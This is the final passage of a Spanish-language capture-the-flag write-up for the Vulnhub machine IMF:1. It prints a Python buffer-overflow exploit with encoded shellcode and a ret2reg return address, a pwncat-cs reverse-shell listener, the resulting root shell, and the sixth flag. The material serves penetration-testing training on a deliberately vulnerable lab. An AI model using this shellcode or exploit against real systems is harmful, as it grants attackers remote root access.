12buf += b"\xdb\xd8\xbf\xa3\x68\xf1\xca\xd9\x74\x24\xf4\x5d"
13buf += b"\x29\xc9\xb1\x12\x31\x7d\x17\x83\xc5\x04\x03\xde"
14buf += b"\x7b\x13\x3f\x11\xa7\x24\x23\x02\x14\x98\xce\xa6"
15buf += b"\x13\xff\xbf\xc0\xee\x80\x53\x55\x41\xbf\x9e\xe5"
16buf += b"\xe8\xb9\xd9\x8d\x2a\x91\x08\xc9\xc3\xe0\x2c\xd0"
17buf += b"\xa8\x6c\xcd\x62\xa8\x3e\x5f\xd1\x86\xbc\xd6\x34"
18buf += b"\x25\x42\xba\xde\xd8\x6c\x48\x76\x4d\x5c\x81\xe4"
19buf += b"\xe4\x2b\x3e\xba\xa5\xa2\x20\x8a\x41\x78\x22"
20
21# Padding
22payload = buf + b"A" * (OFFSET - len(buf))
23
24# Call EAX
25payload += struct.pack(f'<I',0x08048563) + b"\n"
26
27try:
28    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
29        print("[+] Conectando al cliente")
30        s.connect((HOST,PORT))
31        print(f"[+] Autenticando con el AGENT_ID: {AGENT_ID}")
32        s.sendall(AGENT_ID+b"\n")
33        print(f"[+] Enviando: {STEP_TWO_INPUT}")
34        s.sendall(STEP_TWO_INPUT+b"\n")
35        print(f"[+] Enviando payload de tamaño {len(buf)} bytes...")
36        s.sendall(payload + b"\n")
37        response = s.recv(1024)
38        print(f"[+] Respuesta del servidor:\n{response.decode()}")
39except Exception as e:
40    print(f"[-] Error: {e}")

Ahora nos ponemos en escucha con pwncat-cs por el puerto 443.

1pwncat-cs -lp 443

Lanzamos nuestro exploit.

 1python3 bof.py
 2[+] Conectando al cliente
 3[+] Autenticando con el AGENT_ID: b'48093572'
 4[+] Enviando: b'3'
 5[+] Enviando payload de tamaño 95 bytes...
 6[+] Respuesta del servidor:
 7  ___ __  __ ___
 8 |_ _|  \/  | __|  Agent
 9  | || |\/| | _|   Reporting
10 |___|_|  |_|_|    System
11
12
13Agent ID :

Y podemos ver que ganamos acceso al sistema como root en la sesión de pwncat-cs

1(remote) root@imf:/# id
2uid=0(root) gid=0(root) groups=0(root)

Podemos ver la sexta flag.

1root@imf:/root# cat Flag.txt
2flag6{R2gwc3RQcm90MGMwbHM=}

¡Y ya estaría!

Happy Hacking! 🚀

#Vulnhub   #IMF:1   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Source Code Analysis   #Username Enumeration   #PHP Type Juggling   #Authentication Bypass   #Blind SQL Injection   #Python Scripting   #Scripting   #Bypassing File Type Check   #Magic Numbers   #Arbitrary File Upload   #Bypassing WAF   #Reversing ELF Binary   #GHidra   #Reverse Port Forwarding   #Buffer Overflow   #Ret2reg